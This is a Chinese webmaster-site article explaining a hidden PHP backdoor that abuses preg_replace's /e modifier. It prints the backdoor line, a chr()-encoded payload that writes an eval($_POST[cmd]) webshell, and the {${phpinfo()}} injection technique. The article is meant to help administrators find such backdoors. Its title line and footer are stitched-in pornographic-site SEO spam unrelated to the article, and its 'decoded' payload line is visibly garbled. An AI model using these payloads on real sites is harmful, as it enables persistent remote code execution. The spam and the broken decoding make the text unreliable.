精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 腳本攻防 查看內(nèi)容

記一次發(fā)現(xiàn)利用preg_replace隱藏后門和后續(xù)探究

2022-9-27 08:54| 查看: 2166 |來源: 互聯(lián)網(wǎng)

事情是這樣的,朋友的網(wǎng)站的利用各種查找后門的工具都沒有發(fā)現(xiàn)php木馬。老是找不到,小黑的伎倆很高級(jí),每次使用完畢總是把后門刪掉,但是每次都能繼續(xù)進(jìn)來,總是找不到從哪進(jìn)來的。這個(gè)著實(shí)讓人蛋疼。 后來,

事情是這樣的,朋友的網(wǎng)站的利用各種查找后門的工具都沒有發(fā)現(xiàn)php木馬。老是找不到,小黑的伎倆很高級(jí),每次使用完畢總是把后門刪掉,但是每次都能繼續(xù)進(jìn)來,總是找不到從哪進(jìn)來的。這個(gè)著實(shí)讓人蛋疼。
 
后來,終于在日志中發(fā)現(xiàn)一絲蛛絲馬跡,通過我的分析,我發(fā)現(xiàn)一個(gè)IP總是很奇怪的POST數(shù)據(jù)到某個(gè)文件。然后一段時(shí)間后,此IP就訪問一個(gè)莫名奇妙文件,名字很顯眼明顯不是正常系統(tǒng)文件,而是PHP后門。但是很快使用完畢后門就被刪除了。
 
哈哈,遇到小黑蠻細(xì)心的。
 
然后通過分析發(fā)現(xiàn),小黑的訪問的文件發(fā)現(xiàn)代碼:
 
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
如果你看到這個(gè)代碼是不是有的也沒什么問題,但是,這個(gè)就是小黑的掩藏的惡意代碼和后門。隱蔽吧,基本上任何查殺軟件都查殺不到。
 
preg_replace函數(shù)原型:
 
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
 
特別說明:
 
/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語法解析錯(cuò)誤。
 
上面的代碼是POST接受數(shù)據(jù)要測試,比較麻煩,如果換成GET獲取數(shù)據(jù)的話。。。
 
舉例:
 
 echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);
 
如果我們提交?h=phpinfo(),phpinfo()將會(huì)被執(zhí)行(使用/e修飾符,preg_replace會(huì)將 replacement 參數(shù)當(dāng)作 PHP 代碼執(zhí)行)。
 
如果我們要POST的話,我們測試提交下面的代碼會(huì)怎么樣呢?
 
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
 
密文對應(yīng)的明文是:
 
fputs(fopen(data/a.php,w),);
 
執(zhí)行的結(jié)果是在/data/目錄下生成一個(gè)一句話木馬文件 a.php。
 
這個(gè)就恐怖了吧。。。。
 
再來一個(gè)有難度的例子:
 
 代碼如下:
function test($str)
{
}
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);
?>

提交 ?h=phpinfo() ,phpinfo()會(huì)被執(zhí)行嗎?
 
肯定不會(huì)。因?yàn)榻?jīng)過正則匹配后, replacement 參數(shù)變?yōu)椤痶est(“phpinfo”)’,此時(shí)phpinfo僅是被當(dāng)做一個(gè)字符串參數(shù)了。
 
有沒有辦法讓它執(zhí)行呢?
 
當(dāng)然有。在這里我們?nèi)绻峤?h={${phpinfo()}},phpinfo()就會(huì)被執(zhí)行。為什么呢?
 
在php中,雙引號(hào)里面如果包含有變量,php解釋器會(huì)將其替換為變量解釋后的結(jié)果;單引號(hào)中的變量不會(huì)被處理。
 
注意:雙引號(hào)中的函數(shù)不會(huì)被執(zhí)行和替換。
 
在這里我們需要通過{${}}構(gòu)造出了一個(gè)特殊的變量,’test(“{${phpinfo()}}”)’,達(dá)到讓函數(shù)被執(zhí)行的效果(${phpinfo()}會(huì)被解釋執(zhí)行)。
 
可以先做如下測試:
 
echo “{${phpinfo()}}”; phpinfo會(huì)被成功執(zhí)行了。
 
所以,各位查找后門的時(shí)候注意查找下。
 
OK,說了那么多,也了解了,以上我給的代碼:
 
 @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
看似很正常的代碼,其實(shí)就是一個(gè)極度危險(xiǎn)的代碼,隱藏頗深啊。哈哈。希望對大家有幫助
 
作者:合肥制造

本文最后更新于 2022-9-27 08:54,某些文章具有時(shí)效性,若有錯(cuò)誤或已失效,請?jiān)诰W(wǎng)站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網(wǎng)微信號(hào):w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時(shí)修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 午夜剧场福利社 | 真正国产乱子伦高清对白 | 高清不卡日本v在线二区 | 免费的黄视频 | 日韩欧美毛片免费观看视频 | 亚洲欧美在线观看 | 国产高清精品毛片基地 | 8x永久免费观看成人影院 | 欧美另类偷自拍视频二区 | 成年人黄色一级片 | 中国特黄特级真人毛片 | 理论片 国产台湾在线 | 亚洲精品国产美女在线观看 | 亚洲欧美一区二区三区综合 | 精品久久看 | 亚洲精品片 | a大片久久爱一级 | 青青热久久国产久精品秒播 | 一区二区三区视频在线观看 | 一级做a爰片久久毛片毛片 一级做a爰片久久毛片免费 | 日韩中文字幕久久久经典网 | 亚洲国产精品va在线观看麻豆 | 久久精品94精品久久精品动漫 | 91综合国产 | aⅴ一区二区三区无卡无码 aⅴ在线免费观看 | 一级毛片aa高清免费观看 | 美国aaaa一级毛片啊 | 亚洲国产精品成人精品软件 | 欧美在线一区二区 | 韩国成人在线视频 | 免费国产高清视频 | 美日韩中文字幕 | 一级黄色在线视频 | 直接看黄的网站 | 一级片二级片 | 欧美影院天天5g天天爽 | 91视频www| 羞羞影院免费观看网址在线 | 99久久一区| 成人激情视频在线观看 | 欧美日韩中文国产一区二区三区 |